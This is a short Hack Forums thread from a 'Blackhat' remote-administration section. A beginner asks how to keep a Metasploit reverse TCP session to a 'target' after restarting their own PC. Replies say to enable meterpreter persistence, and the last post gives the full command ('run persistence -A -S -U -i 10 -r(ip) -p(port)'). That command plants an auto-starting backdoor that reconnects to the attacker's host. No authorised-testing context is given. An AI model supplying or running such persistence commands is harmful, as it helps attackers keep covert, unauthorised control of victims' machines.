Hack Forums
Metasploit: Reverse TCP ? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: Metasploit: Reverse TCP ? (/showthread.php?tid=5590621)



Metasploit: Reverse TCP ? - Redblock - Apr 2, 2017

Hi,

i'm a beginner in this world and i have some questions.

Imagine we start a metasploit session with reverse TCP. Then, finallay, we are connected to target. If we restart our pc, can we always connect to the target ? Or we have to start all over again ?


* - licker98 - Apr 2, 2017

I think you can start the listener whenever you like. Make sure you've enabled persistence in meterpreter though.


* - Necropod - Apr 2, 2017

make a persistence with -A -S


* - Redblock - Apr 2, 2017

(Apr 2, 2017 01:56 PM)Necropod Wrote:  make a persistence with -A -S

Ok thanks for ur answers


* - Necropod - Apr 2, 2017

(Apr 2, 2017 02:09 PM)Redblock Wrote:  Ok thanks for ur answers

run persistence -A -S -U -i 10 -r(ip) -p(port)